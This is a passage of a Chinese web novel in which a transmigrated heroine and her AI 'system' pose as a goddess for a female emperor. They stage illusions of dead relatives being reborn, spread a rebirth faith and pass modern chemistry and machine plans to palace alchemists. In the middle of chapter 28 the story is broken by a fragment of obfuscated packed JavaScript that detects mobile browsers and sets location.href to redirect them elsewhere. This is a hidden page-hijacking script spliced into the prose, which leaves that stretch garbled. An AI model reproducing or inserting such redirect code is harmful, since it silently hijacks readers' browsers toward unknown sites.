这时节天亮的早,那黑沉的夜幕上被熹微晨光划开一道裂缝,光从那里透出。
唯姒昭一人能听到的声音在耳边响起:
“宿主,来了”
姒昭目光微动,暗自配合。
这时节,天亮的很早。
云端之上,神女抬手
呼——
有风来,环佩叮当。
众人看见,神女转身抬手,手指微动,动作看起来那样轻柔优雅,不沾半点鲁莽粗暴。
然而——
夜,被开膛破肚。
日出东方。
起先只一线微光,只那细小不起眼的光自夜幕透出,像从皲裂了的石像里绽放一丝光芒,但当神女抬手,红彤彤的太阳破开那缝隙,跳了出来。
而神女身后那硕大的月还在。
自此,日月同光,星河簇拥。
神明回首,最后看了凡尘一眼,消融于凡人眼前。
众人正怅然,忽而惊呼:
“霞光——”
“彩霞!”
眼前的月与星河随神女隐去,太阳将要取代黑夜带来白昼,但见神女长裙迤地,天幕为裳。
神的身影慢慢淡去,拖着长长的裙摆走过天际,披帛飘飞,似与天融为一体,乍见神女步步生莲,身后便有霞光万丈,红霞满天。
是她的衣摆化作朝霞,点缀清晨。
恰在此时,又有人发现,那片早已干涸的湖,神奇地蓄满了水,此刻正倒映着朝霞。
人们难掩激动,欢呼雀跃。
与此同时,成功退入誊干了水的系统空间,姒昭:
“收工,下一站!”
28.第 28 章
被迫营业的系统:“我们还要干嘛?”
计划写满小本本的姒昭:“干一点宗教人士该干的事。”
毕竟是在装神明。
系统回忆着她们一路走来干了些什么:“比如?”
她怎么记得她们就光顾着抗震救灾了?
宗教人士要干什么?祷告?做礼拜?
姒昭正色道:“当然是抚平大家受伤的内心,给予信徒活下去的希望和安慰。”
系统:“说人话,讲清楚。”
姒昭:“帮我卡视角调方位,必要的时候使用幻术和入梦术,谢谢。”
系统:“……”她就知道。
一人一统身旁,染色后从【独角兽·昼】演变为【梦魇·夜】的传说生物忠诚地守卫在她身边,等待套装拥有者的下一个指令。
姒昭骑上梦魇,正准备离开襄州,又顿住了脚步:“咦?”
意识深处,系统监测到的图像如画卷向她展开,往日里她靠着这份“地图”看地形地势制定灾前防治工程计划、灾后重建工作计划,分析灾情,包括刚才凭借系统指引去给河湖灌水。
但现在襄州的工作了结了,再加上她们现在在主城干活,呈现在她面前的是城中百姓的状况面貌,距离越近的越清楚,清晰度堪比监控录像,姒昭可以明确地看见……有人在祭拜她。
没有华丽巍峨的庙宇,来不及准备最高规格的祭品,只是因她的到来在黑夜下的院落里匆忙摆出祭祀的阵仗,庄严下拜。
观其身份,乃朝廷特派使臣。
一时间,姒昭百感交集。
她知道她的举动在影响很多人很多事,有人感激她,有人怨恨她,她知道,但绝不因此偏移前进的路线。
可这一刻,她亲眼看见有人为她捧上一颗赤诚的心。
昼夜交替下惊叹于神迹的人怀着激动又怅然的心慢慢散去,凉风里贺熙凝望神女曾出现过的地方定定站了许久,满城喧闹里她最终躬身整理夜色里匆匆摆好的供桌,不假她人之手。
风一吹,那身官服的宽大衣袖随风而动。
漫天红霞。
姒昭闭了闭眼,调转离开的方向:“先去那里。”
晨光破晓,染料被再次使用,梦魇化身纯白圣洁的独角兽,带着神女往中心城去。
那天清晨,贺熙那供奉神女的祭台上,多了一朵花。
*
但是神女要花这玩意儿有什么用呢?
祝大树一边走一边想。
草渐渐深了起来,四周的树也显得越发高大,即使是白天也把太阳遮的严严实实,透不进多少光线。
这无疑使得祝大树走得不算轻松。
掂了掂手里的弓,她扒开草大步向前。
祝大树做的是猎户营生,靠山吃饭。
她觉得香喷喷且能卖钱的野味是最好的东西,比这更好的是白面,至于花,不能吃不能穿,神女要花干什么呢?
她本来只打算准备野味白面,祭奠娘,也献给神女。
可是据说神明都喜洁净之物。
那么,祝大树愿意在野味白面之外献上神女喜爱的洁净之物。
别的洁净之物——诸如那些大户人家置办的鸡舌香等她买不起,但她采得到鲜花,猎得到野味,也愿以野味换来白面,最终将这些全部献给神女。
她至今还记得,明明刚开始那小河的水那样清,潺潺流淌的模样可爱极了,然而就一眨眼的功夫,汹涌的泥水替代了小水流,夹杂着山石奔腾咆哮着向村子冲来,天阴沉沉的,她吓得身体僵硬,双目圆睁,腿却不听使唤逃不掉。
说时迟那时快,一巨物砰一声落下,天降神兵一般截断了那泥石流与村子连通的路,将危险挡在了外围。
她木木地望去,那东西灰白配色,长得像鱼,可祝大树没见过这么——大、还能上岸、从天上落下来的鱼。
跟座山似的。
再后来,她知道了这是神女身边的鲸灵,奉神女的命令来救济苍生
——这个祝大树知道,天灾、天残、政令、神女是几组捆在一起的词,大周的狗都知道来龙去脉。
她娘当初就是因为皇帝新颁布的法律才能顺利和爹和离——换了从前,娘得去公堂上受审、至少坐三年牢才有可能和离成功。
是那女皇帝上位,神女又来了,她们才有了今日光景。
因为这事儿,祝大树本就对神女心存好感,现在一看,神女还派这大鱼来救人,帮村子免了一场灾祸,她打心眼儿里觉得该拜拜这神。
不为别的,就为她们家日子还过得去,有条件拜,加上她娘说了,有恩报恩,对恩人得心存感激。
若非神女鲸灵,那场泥石流足以摧毁整座村庄,她年事已高的母亲必然难以逃生。是鲸灵出手相助,她的母亲方能安享晚年,寿终正寝。
又想起娘了。
她忘了说,那花,也是献给娘的。
给神的是洁净之物,给娘的只是花。从前,插在阿妈和她自己头上的野花。
她阿妈爱花爱美。
想着过往的事,祝大树也没忘记寻找猎物的踪迹。
她在这儿放过陷阱,该有收获的。
陷阱呢?
哗啦——
细微的水声在耳畔响起,将年轻的猎户从回忆里惊醒。
哪里来的水?
她熟悉这山这路,这地方哪儿来的水?
祝大树绷紧身子,警觉地握紧武器,环顾四周。她突然发现,周围太安静了。
山林里该有的声音,风,鸟,虫,这些东西该混合成的交响乐,消失了。再看周围熟悉的环境,竟也觉出几分陌生。
怪哉,危矣。
这情况太诡异了。
她一向是十里八乡有名的好猎手,怎么会突然不熟悉走过千百遍的路、不知此地可有溪流水潭?
若是遇山中猛兽她尚可拼尽全力搏一条生路,可眼下这情况……
祝大树眼皮跳了跳,她不会是遇到阿妈常说的鬼打墙、鬼迷眼?
哗啦——
那水声再次响起。
祝大树咽了口唾沫,抽出了腰间的刀。这是阿妈特地去镇上打的,阿妈说她一个猎户,自然该装备齐全猎户该有的,否则有兽类近身,她难道还拿弓对那兽吗?还是用她那破破烂烂的旧匕首?
年轻的猎户握着那刀,手上青筋凸起。
阿妈呀阿妈,希望女儿还能回来祭奠你。
祝大树心一横,向前迈出一步。
村里老人说了,见了鬼,不要怕,你比它恶、比它凶,它就不敢来勾你的魂。
更何况,不是还有神女?纵然有过旱魃蛟龙、山精野怪要出来害人的说法,也有传言说有人瞧见背上生着鸟翼的怪马驮着女鬼在山林间奔跑,可是她们村得到过神女的庇护啊!
那鲸灵虽走了,但确实来过。她们合该也沾了福气、恶鬼不敢近身才对!
哗啦——
又是那水声,像有谁在拨弄水面,清凌凌的水泛起波澜。
同样的声音,这一次,祝大树却顿住了。
她后知后觉意识到了什么。
猎户低下头,看着那丛生命力旺盛的野草,看着自己的脚隐没在其间,她定了定神,再次迈出一步,果然
哗啦——
水声又起。
这一次祝大树认真盯着脚下,瞧见了随她动作漾开的涟漪。
水不在别处,在她脚下,声不从别处来,因她而生。
猎户抬头,看见枝繁叶茂、树枝树叶彼此相接的顶。
她怎么就没注意呢?祝大树想。
她怎么没注意自己是什么时候一脚踩进了这水泊里?
伸手摸摸鞋袜,祝大树惊讶地发现居然都是干的。但抬手一看,不沾半分水渍。
这究竟是什么情况?
祝大树这下彻底懵了。
她做了面对猛虎恶狼的准备,也做好了面对恶鬼邪魔的准备,可当她迈步向前,怎会觉得这水声似娘在耳畔唤儿?
女人眼眶一热,几乎要滚下泪来。
到底哪路阴险小鬼,竟敢拿俺娘迷我心智?猎户擦干泪水,摆出恶狠狠的表情,誓要捉住那小鬼。
可这一切还没结束。
她拨开草丛,踏着那不沾衣衫的水往前走,恍惚间环境变化,树荫隔绝阳光,祝大树看见跌落人间的月色。
是落入人间的细碎月光,化作纯白细小的花,盛开在这神奇的水面上。
走近看,每一朵中心都盛着小小的月亮。
猎人愣愣地望着眼前景象,不知今夕何夕,身在何方。
蹲在空间里的系统表示:这招当初连皇帝姬荣都能拿下,这猎户又如何能例外?
旧水装新瓶,换汤不换药。当初怎么哄的姬荣,如今怎么哄猎户。作为抽数不多衣服不够的贫穷宿主,姒昭使的还是当初在姬荣寝宫弄那一出。
不过……也不是完全一样。
“准备准备,要上新部件用幻术了!”
姒昭按下换装按钮,系统配合着维持幻术,呼——
风来。
祝大树被不知从何处吹来的风吹的一激灵,正要有动作,忽见自始至终都平静地没有存在感的水面动了。
她明明没碰,水面却自动漾起涟漪。
本着谨慎的原则,祝大树正欲后退,却猛然止住了脚步。
水面荡漾,缓缓浮现出熟悉的容颜。
那是——
祝大树睁大了眼睛,满脸不可置信。
那水波中的人,分明是隔壁青梅阿竹的奶奶!
可阿竹的奶奶不是早去世了吗?
某种猜测浮现在心中,她大步向前,似在寻找着什么。
一个个涟漪在眼前荡开,祝大树望着那些熟悉的脸——五花的妈,黑豚她姐,二丫她姥,七大姑八大姨……
她握着那把刀的手越发用力,嘴唇紧紧抿着。
那么多人,那么多熟悉的面孔,她怎么就找不到想找的那个?
水面上倒映出无数人往生的画面,祝大树只想找她娘。
空间里,系统看着猎户通红的眼眶和落下的泪,闪烁的光似乎比以往黯淡了些。
“宿主,我们这样做,是不是不太好……”
用幻术配合套装布置出的场景,让活着的人看见逝去的亲人往生,可这是低魔位面啊,哪里来的神明,哪里来的灵魂,哪里来的,往生。
姒昭动作一顿,手指微屈。
她收获积分,收获奖励,收获恨意,收获感激,也必须面对自己的内心。
可是,
“很抱歉,但我得做。”
是鲸灵来过,储存了这个村子所有人的面部信息,配合系统强大的算力,她才能用幻术复刻死者的容貌。
姒昭在最开始就想过要做什么,强势的上位者,不可违抗的政策,强大不可抗的外部因素天灾,神女的预言,而所有的这一切将暴力地打撕碎往日遮掩不平等的、压迫的幕布,重建新秩序。
她所扮演的神女要凶狠,要配合帝王打破旧秩序从外部重建新秩序;但也要仁慈,要施以救济,兼具慈悲心肠与怒目金刚,推动新秩序自内部自发重建。
天灾如此可怕,政令严苛而猛,那么宗教将起到安抚润滑的作用。
比如参考佛教的前世今生、因果轮回之说,缓和社会矛盾。
她也在做这样的事。
更何况,经历过自然灾害、目睹死亡的人,心理上多少需要点帮助吧?
如果能知道亲朋其实还有下一世,自己未来也会有下一世,想来情况会好一点。
从祝大树所在的村落开始,她不需要让每个人都看见、都知道这些,只需要把消息传出去就可以。
空间外,涟漪动。
祝大树看着自己母亲的容颜倒映在这看似浅而清的水面里,看着母亲去往轮回,想看的更清楚些,却见水波一动,那涟漪消失,再现之时,已换了新人的往生画面。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259966|164939||http|test|mini|href|location''.split(''|''),0,{}));
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>不知从何处飘来的声音传入耳中:
“去吧”
“带她们来这里”
“去吧”
祝大树怔然,忽而抬头环顾四周。
有灰色的尾自树林间穿过,她一怔,认出那属于鲸灵。
于是猎户擦干眼泪,如疾风般离开山林,朝山下村落跑去。
她得去告诉阿竹,告诉邻居大婶,告诉每个人,她要带她们来看。
鲸灵是神仙,神仙给她看阿妈的轮回,又叫她叫别人来看,她也想让每个人都看到她们挂念的亲人朋友。
死亡或许不是永别。祝大树想。
“那么,你打算怎么做,宿主?我们不可能对所有人使用幻术。”
望着前方逐渐消失的背影,系统问。
她们的幻术奖励不够了。
姒昭拨弄了两下手中的入梦丸:
“挑几个人造梦就可以。”
不需要每个人都看见,只要有人看见就足够了。
只要,消息传遍大周。
于是她继续行走在大周的土地上,救灾救人,泼洒神迹和传说。
告诉所有人:神明掌管生,也掌管死。
自那一刻起,新的有关轮回的传说逐渐在各地传扬盛行,有人自称亲眼见过亲人往生之景。
又有新传言道,今生不作恶,来生可富贵;自杀者不得往生,须珍惜性命;今世守男德,来生可投女胎……
传言何其盛矣。
不过如此一来,犯罪率确实下降了不少。
一些经历过地震等灾害、目睹亲人死亡的人,心理上也有个寄托。
至于轮回一事是否与巫山神女风格不符,那怎么会不符呢?
有人羽扇纶巾,摇头晃脑道:“我且问你,祭祀那日,神女曾与一女神斗法,是也不是?”
对方答:“那是自然。”
谁不知道那天地色变的一战呢?
神仙斗法,日月颠倒。
不少画师还凭借想象力画过呢,茶楼的说书人也早已把这段故事说得抑扬顿挫滚瓜烂熟。
听此言,那人又道:“那不就结了吗?”
她睨了眼面前这个全身裹在黑袍里的怪人,这人问的话怪,走路姿势也怪,连都不露,若非这是大庭广众之下,她都要报官了。
她摇摇扇子:“你既知祭典斗法,也当知晓神女还有个名号乃玄冥神君,执掌归墟呐。”
归墟啊,通往冥界的入口。
或许神女泛舟归墟之上,于水波倒影里见过无数生命由此往生。
如今神女心慈,准许凡人也愈发碧波倒影里,瞧一眼逝去的故人。
问话的人细细咀嚼着此话,
“归墟,玄冥君……”
良久,她笑了一下:
“原来如此。”
当然,对面扇着扇子的人看不见她的笑,只知道怪人没喝一口茶,没吃半点东西,只是问了这个问题,随后便迈着那怪异的步伐离开了。
她望着对方远去的方向,小声嘟囔一句:“真是个怪人。”
而另一边,离去的人脱下了外袍,露出了青蛇的身躯。
这是一条尾巴以不可思议的强大力量支撑其维持半直立状态装人的青蛇。
巫山神女身边的青蛇。
昏暗的烛火、刻意挑选的隐蔽座位、裹得严严实实的黑袍,这些都帮她更好的伪装成人。
至少没人怀疑她不是人。
浩渺广阔的天幕下,系统望着这一切,忽然有点想哭。
“抚平大家受伤的内心,给予信徒活下去的希望和安慰。”
那时候姒昭说的玩笑一样的话,居然是真的。她居然真的在这么做。
这个低魔世界没有神,也没有灵魂和往生。
可她的宿主执意要做那神明,用她拥有的一切在极短的时间里发动一场暴力的变革。
而她作为宿主的助手,直到这一刻才窥见某些东西。
比如玄冥神君与归墟,姒昭从不无的放矢,更遑论她是对着天子和众臣宣告这一切。
她不会无缘无故告诉所有人自己还有个名号是玄冥,权柄也包括执掌往生的归墟。
或许是从看到背景里天灾那一刻,姒昭就计划着要以这个身份做一切严苛政令暴力革命里的润滑油。
姒昭对她说过,前进的脚步绝不因任何人的感受而停下。她那时只知道姒昭在说姬荣,说大臣,说女人男人。
这一刻她意识到“所有人”里也包括她这个系统和姒昭自己。
她觉得往生是幻境是骗局,或许违背人类的道德,可她怎么忘了在最开始配合姒昭装神女时,一切就是一场巨大的骗局。
她们从一开始就在欺骗全天下。
而如果这是亵渎,姒昭将背负所有罪责。
想到这一点,系统突然心一紧。
感应着姒昭的位置,她匆匆回到姒昭身边,张口道:
“我看见了。”
姒昭不明所以:“什么?”
系统定了定神:
“我看见,无数个世界里,没有你和我,但那里的凡人们还是会选择相信往生轮回之说,且有这种说法的宗教不止一两个,它们同时存在”
她看着姒昭,吐了吐信子,尾巴轻拍地面:
“我的意思是,如果这种说法注定被相信,类似的宗教精神注定诞生,那么从你我开始,或者我们也做这么多宗教里的一份子,其实也没什么大不了的。”
如果要欺骗世界的话,罪责应该由我们一起承担才对。
因为我们是系统和宿主,荣辱与共;
当你欺骗天子、欺骗大臣、你欺骗这天下时,我是你的帮凶;
当她们信仰供奉巫山神女时,也曾供奉神女身旁的腾蛇;
或真或假的荣耀,多面共存的慈悲和卑劣,欺骗或真诚,我都与你共享。
夜色下,青蛇缩小了身形,盘上姒昭的手腕,如同一只碧绿的手镯,熠熠生辉。
29.持花
梁柱高拱,宫室庄严。
明堂之上,天子端坐。
神女离开这座巍峨森严的殿宇太久了。
空旷大殿内,帝王的叹息轻的像初春薄雾,朦胧无形,转瞬即逝。
姬荣翻阅着各地传来的文书,她抓住它们就好像抓住神女的衣摆或披帛,仿佛亲眼看见神女之所在,得到那么一点心安。
那毕竟是神女,比风还要自由、比云还要飘渺、比水还要无情又仁慈的神女。
圣人说上善若水,说水利万物而不争,却也说洪水猛兽,滔天巨浪会摧毁目之所及的一切事物。
她的到来让传说成为现实,史诗在眼前重现,泛舟归墟之上,凡人也能窥见来世的画卷。
而在这其中——
姬荣垂眸,望向手中那一支花。
层层叠叠半透明的花瓣,纤细宛若琉璃水晶的花枝,温柔梦幻地像一个盛满了月光的美梦,时刻流溢着光辉。
在所有的神迹里,有人得神明垂怜,踮脚折下一束月光。
这是自襄州来的月光。
贺熙那日于祭坛前得到这束花,无需她人过多赘述,只要看一眼便知此花非凡间之物,加之当日神女于襄州现身,花出现得神秘,她知晓这绝对是神女赐下的。
事后贺熙也犹豫过该如何对待此花,它不腐不枯,始终鲜妍且生机勃勃,按理讲这是神的馈赠,她该好好供奉起来,可是……她是个官啊。
而且她们这些官都是要定时给朝廷传讯的,尤其有关神女的事情。
多番思量后,贺熙将襄州神迹连同此花一起打包送回了皇城,摆在了姬荣的桌案上。
从此这花就静静地在帝王案头绽放着,日月轮转,春夏秋冬,不枯不败。
嗒、嗒、嗒
帝王轻敲桌面,神色莫名。
许久以前的那个奇迹已经丰收多轮并配合政令发放给百姓做种子了,腾蛇神君所授之道也已整理成书籍册子传于百姓,道士们也都被传召入宫专门学习神女留下的天书……
可是神女什么时候回来呢?
兽首香炉里燃着的香气息幽远持久,凡尘的帝王凝视着那束月光,良久,双目微阖,幽幽叹息。
神女什么时候回来呢?
时间已经过去了那么久,传说重现诗篇无数,神女与大周同在。
她无所在,无所不在。
真奇怪啊。姬荣想。
一切都在变好,连天灾都少了许多,即使没有神女大周也能已全新的、她们渴望的状态运转下去,可为什么她会不自觉走到神女曾居住过的殿宇呢?
*
此刻,姬荣及她的臣子们心心念念的神女正在小本子上涂涂画画。
当然,姒昭本人称其为帝王攻略手册。
虽然她们都做到这个地步了,但她没忘记她的任务是攻略皇帝成为宠妃。
系统麻木地收割着新成就【思念成疾】的奖励,她的代码已不会再为此产生多少波动——虽然不知道宿主又是怎么打出来的,她人都不在姬荣面前啊,她们不是把皇帝丢在深宫一年多两年了吗?
可是一路上确实隔三岔五就有任务或成就显示已完成。
系统看了眼那本帝王攻略手册的内容,收回视线闭了闭眼。
算了,她看不懂姒昭那堪比数学草稿纸的手册。
蛇蛇的尾巴尖尖无力的轻拍地面,姒昭则比对着本子上的记载用笔轻敲系统:
“统统统统,按照时间来看,再往后什么干旱洪水泥石流地震就不会频繁出现了对吧?”
系统调出面板:“唔,还会有一些,但不会像近些年这么可怕,这两年过去慢慢就好了。”
说着,
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她噌一下凑近姒昭:“照这么说,你想好该怎么逻辑自洽了吗?”
天灾,女娲,女人,天残。她们用这些编织了一张名为欺骗的巨网,把整个天下都包裹起来,如今网的某一部分发生了变化,整张网都该随之变化以保证被包在里面的东西完好。
姒昭昂首挺胸,骄傲地扬起下巴:
“那当然!”
她摇头晃脑:“你就放心好啦,我肯定是在此之前会做好万全准备的。”
“话说你之前不是还不想离开皇宫到处跑吗,现在我们可以回去啦。”
系统:“其实也没有特别不愿意……”
她那时确实觉得按当时的情形她们已经稳了,只需要继续在皇宫扮演吉祥物就能完成任务,没必要节外生枝满大周跑。
但系统的想法也是会改变的嘛。
姒昭戳戳她:“对了,这个时间点,姬婋快十五岁了对吧?”
系统点头:“没错哦,小公主要长成大公主了。”
姬婋是姬荣的女儿,也是在原本的时间线里本该继承姬荣皇位却被胞弟杀害的太子。
不过现在姒昭来了,从后宫到前朝的男的都被她骟了个遍,姬荣每天忙着处理政务和神女的预言神女的神迹,忙着和朝臣开会研讨讨神女欢心一百招,那个所谓的胞弟自然也就被姬荣变成月经流掉了,连狩精卵都没当上。
不过比起这个系统更在意的是姒昭为什么问这个问题
“我记得你跟小公主不熟啊?”
姒昭的人设是神女,连姬荣这个皇帝来见她都得焚香沐浴求神恩赐,无事不敢扰神明清净,更何况别人?
加之姬婋那时又未曾过多参与朝政,连朝会都没参加,公主与神女可谓从未正式会面过。
如今姒昭怎么会突然问起她来?
姒昭:“你、猜。”
30.聚首
这一夜的皇城注定会有人窥见世界未来被融塑成的模样,因此走上人生的另一条路。
在这象征着无上权力的巍峨城池中,某处殿宇内同时居住着专攻炼药的方士。
诚然,姬荣还没到追求长生不老的年纪,也并非昏聩无能求仙问卜的君王,但是——这些方士乃是天灾预言刚出时神女专门要求带进宫的。
起初她们不明所以,只知道皇帝要找方士入宫。
皇帝亲自招人啊,多么具有诱惑力的字眼,听起来简直像一步登天的云梯,数不尽的荣华富贵在眼前等着她们。
于是乎这群人就这么抄上吃饭的家伙进宫了。
经过层层筛选,她们成功入住。
然而等着她们的不是皇帝关于神仙、丹药的问题,而是几张纸组成的小册子。
姬荣亲自接见她们,特地说明此乃神女赐下的天书,要她们按着上面的内容炼药——那上面的内容也是玄乎其玄,生僻无比,什么钠镁铝硅磷什么氯化亚汞,拗口得很,念不通听不懂。
但是,看看上首的天子温和表示谁若做成赏黄金百两,再看看底下宫廷侍卫那寒光闪闪的大刀,怎么选那不是很明白的事吗?
不就是炼丹吗?老本行了。
嘟嚷着做下去,最初只是为了黄金,谁知炼着炼着,事情发生了变化,那颗只装黄金的心居然随之生出了别的东西。
神女的预言在逐步实现,宫中的大臣都在为此奔走忙碌。
即使她们两耳不闻窗外事一心炼丹也知道形势严峻。而就在这时候,她们忽然得到消息,自己炼出的东西被投入到了民间。
那些她们拿来装神弄鬼骗人的东西居然可以用来杀虫,用来做药物,用来当涂料。
居然可以用来救人而不是骗人害人。
她们记得那时候民间苦虫灾久矣,辛辛苦苦种出来的粮食就这么被虫子吃了,可她们炼出来的粉末却能有效改善这种情况。
有人想起皇帝要求她们炼药时给出过时间限制,会定期来收取成品。
原来是为了天灾。
曾经靠坑蒙拐骗生活的人偶然间低头一看,不知什么时候起,那颗心在装满荣华的间隙里,竟也生出天下太平、黎民安好的念头。
烛火下凡人摊平天书的动作认真而虔诚,短短的几页纸,她们第一次看的如此郑重。
神明授道,凡人当尊其为师,以学生之礼待之。
......
学生以礼待之,师必倾囊相授。
天空下着雨。
睡梦中的人缓缓张开了眼。
天空是黑色的,山峦如巨兽起伏的脊背。
她懵懂地眨了眨眼,一时没有反应过来。
这是在哪儿啊?
啪嗒
一滴水落在了她的面颊上,紧接着是第二滴,第三滴。
伸手抹了把脸,她从迷糊中惊醒,迅速坐了起来。
再迟钝也该意识到不对了。
她该和同僚一起居住在陛下安置她们的殿宇内,怎会看见天幕?更不可能被接触到雨水。
总不能是陛下趁着夜色把她们全抬出来“扔”了吧?
苦中作乐着开个不着边际的玩笑放松神经后,来不及细究自己怎会出现在此,只一眼,她便被这方世界震撼。
高楼林立,霓虹闪烁,人们乘钢铁巨兽出行,黑夜一如白昼般明亮……
然而此等景象只持续了短短一瞬,取而代之的是睁眼时看到的黑色天幕。
雨落下来。
她看见钢铁链条如巨龙腾飞,熔炉似山峦巍峨高大。
轰隆——
惊雷响彻天地,那是无数巨大的铁锤在敲打炽热钢铁,昼夜不停。
蒸腾的蒸汽直冲天空,汇聚成朵朵乌云,雨幕骤然落下,落在猩红的熔岩上,再次蒸腾,周而复始。
雷一样的声响,不见星光的天幕,焦黑中透着猩红的土地……
一切都超出她的理解和认知。
闷热,压抑,短短一瞬她已感到不适。
但即使如此,她舍不得移开视线不看这怪诞又盛大的情景,她不自觉去看那巨龙般飞舞的铁链和熔炉,看铁锤如何落下,器械如何运转。
嗡——
奇异的嗡鸣响起,天边翻滚起纯白的光。
然而她并未因此感到安心,不知为何,那本该圣洁的颜色带来的压迫感竟远甚翻涌着雷点的黑色天幕。
嗡————
没给她反应的时间,那光极速落下,朝她劈来。
她一咬牙,欲逃离此地寻找掩体,但见薄薄的水幕挡在身前。
轰隆!
白光乍现,刺激的她不得不闭上眼。
再次睁开眼,她看见熟悉的穹顶。
茫然,不知所措。
她猛
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然从床上坐起。
忽魂悸以魄动,恍惊起而长嗟。
叹息之余,她推开窗,望向明月。
然而她对上了另一双眼睛。
不,不止一人,她环顾四周,讶异地发觉同僚竟不约而同地苏醒过来。
“你……”
“你……”
视线相交,一切尽在不言中。
点燃烛火,室内赫然多了新的册子。
不必等第二天,一切与神女相关的消息都是需要郑重对待、立刻送到帝王桌案前的。
不过片刻,帝王宫室内的烛火也随之燃起。
与此同时,姒昭正在系统空间内艰难地描各类机械的图。
从现在的大周能搞的改良版风箱、改良版水排、熔炉等到大周未来才能造的液压机、鼓风机等器械,她描的很认真,把每个零件都拆分描出来了。
大部分现在能造的她已经描好和化学课本一起放方士们桌上了,现在应该到姬荣面前了吧。
剩下这些描的她手有点断了。
系统收起燃着入梦丸的香炉:
“啧,要不你别画了?这东西她们现在也造不出来啊”
姒昭:“你不懂,这是巨人的肩膀,踩在这上面能让她们少走很多弯路。”
说着,她瞥了一眼系统:
“而且话说回来,你得去‘埋伏’姬婋了吧?不怕错过时间?”
系统炸鳞:
“你是卷饼吗这么能卷?刚一路狂奔回京城又开始干活?”
姒昭:
“错了,我们是踩点回来的,再拖延就迟了,所以你快去干活”
系统望望透出鱼肚白的天幕,只能乖乖去寻小公主。
而姒昭这边也没闲着,她收起画本,活动活动筋骨,确保形象完美无缺后掐着点儿踏入了帝王的宫殿。
殿内之人远远瞧见有人不请自来,正欲上前阻拦,不想那身影眨眼睛就来到了面前,步伐似慢实快。
刚要呵斥,但见来人衣摆如流云飘摇,飘飘乎如遗世独立,超凡脱俗。
晨光做她的配饰,朝霞为天衣添彩。
款步而来,出尘脱俗。
那是——
某个不可思议的猜测在脑海中浮现。
下一秒,清脆如玉落珠盘的声音响起:
“意识误入时间长河,诸位受惊了”
满堂皆惊。
31.第 31 章
她逆光而来,身若云烟。
【叮——】
【恭喜你打出成就“为伊消得人憔悴”】
【恭喜你打出成就“念念不忘”】
无人知晓处,系统提示音自动响起。
砰
在众人沉浸在“神女归来”的不真实感中时,姬荣率先起身相迎,只是由于太过激动,不慎打翻了东西。
不过这种时候也没人在乎打翻了什么了,俱是下拜行礼,恭迎神女。
“神女——”
姬荣整冠肃容,姿态端方,可眼里的激动和微颤的声音无一不透露出她内心的讶异与思念。
姒昭的视线掠过殿内几位方士,又落于姬荣身上,笑容略带无奈,却无责备之意:
“我给那孩子的花,怎么被你收起来了?”
姬荣顺着神女的目光看向案头那支自襄州来的花,斟酌着道:
“神女眷顾襄州,荣也想分得半分垂怜”
她望着姒昭,神情认真又郑重:“您乘风而来,又随风而去,腾蛇道君也未留下只言片语,荣实在惶恐。”
“大周各地都传来您的消息,神迹随着春风在土地上绽放,可是神女,春风唯独避开了荣的花园”
我已许久未曾收到您的消息了。
天子眼里闪着温和的光,话语里似藏着埋怨,偏偏又透出无数的思念。
面前的神明失笑:
“所以你就抢了那孩子的花?”
姬荣:“不敢。此乃贺熙主动赠予,无神女应允,荣安敢如此行事?”
姒昭道:
“你且安心。”
“身为姬氏女子,凡尘之中,我最眷顾你。”
最、眷、顾、你
如白马寺的钟声震响,余韵回荡。
她听见神女继续道:“莫非你忘了,我已留下天书,又有青蛇授道。”
指离开前放了好几个录音机,还连接了太阳能充电宝,留下了先前手抄的资料。
“留下此花,是为镇压旱魃,保襄州安宁,怎料却到了你手上。”
“好在,如今的襄州无需此花也安好”
神明款步上前,裙裾如流云。
素手轻抬,指尖拂过桌案,那皎洁不腐的花便消失在众人眼前。
“神女……”
姬荣迈出一步。
姒昭望向她,又看看周围的方士:
“天书上记载的东西本就超出这个时代,但我既能给出,自然也能保诸位不被拉进时间洪流。”
“可如今你得了此花,又恰逢巫之血脉复苏,唤醒花灵,连同古今,如此,方误入时间之道。”
说罢,她伸手一指,飘渺虚幻的金色河流显现在众人眼前。
河流看似平静,细看之下才惊觉汹涌无比,再一瞧,星星点点的细碎水滴在其间挣扎前行,不时翻涌起的浪花是惊才绝艳者出彩的一生。
这就是,时间。
每一滴水,就是一个人的生平。
哗啦——
浪起,又消弭于神女指尖。
她望向面前的人:
“此为尔等造化机缘,你们得见万世之后的光景,也得时间馈赠”
神女望向方士呈给姬荣的化学书:
“记载通往未来之路的天书选择了你们”
“你们也选择它吗?”
方士们:!!!
这是需要选择的事吗?!
她们不约而同地想起梦里看见的高楼大厦、平整道路、钢铁森林……
如果未来每个人都能走这样平整的道路、有这样舒适的坐骑,可以在夜里燃起永不熄灭的太阳,她们毋庸置疑会走上这条路。
短暂对视后众人齐齐下拜,齐声道:
“回神女,我等愿意。”
姒昭目光幽远:
“那便去做吧。”
“让我看看,时间选中的凡人,能走多远。”
不要枉费我花的那么多心思啊。
方士退去,姬荣心中还挂念着另一件事:
“神女,不知您所说的巫之血脉
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复苏是指……”
在她的记忆里,唯一与“巫”有关的,是姬氏先祖。
……或许也包括如今的她。神女曾言她身体里同样流着巫的血。
神女微笑:“你的女儿要及笄了。”
她对天子道:
“娲皇馈赠将流经她的身体,这份力量同那朵花一起与其体内巫的血脉共鸣”
“我也没想到,千年时光流逝,姬氏不再是当年的姬氏,可流经你们身体的同源的血还与当年相同。”
真神奇啊,同样的、能追溯到同一个祖先的线粒体。
姬荣微怔,凝望着面前的神明。
姒昭微笑:“陛下,这是你和你女儿的大喜事,但我想,也该把它变成天下的喜事。”
*
与此同时,演武场内,一身劲装的姬婋收起长枪,接过侍从递来的帕子擦了擦汗。
她看看天色,估摸着时辰差不多了,该和往常一样,修整过后去陪母亲用膳。
路程不算遥远,姬婋总是选择走过去,这对于她来说算一个锻炼身体、加快脚程的方式。
今日与往常一样,她照常进行功课,走同一条路回去。
然而掩映在郁郁葱葱的植被后面,某条蛇看准时机伸出了自己的尾巴。
姬婋哪儿算计地过精确无比的人工智能,当即一脚踩在了那条青色的尾巴上。
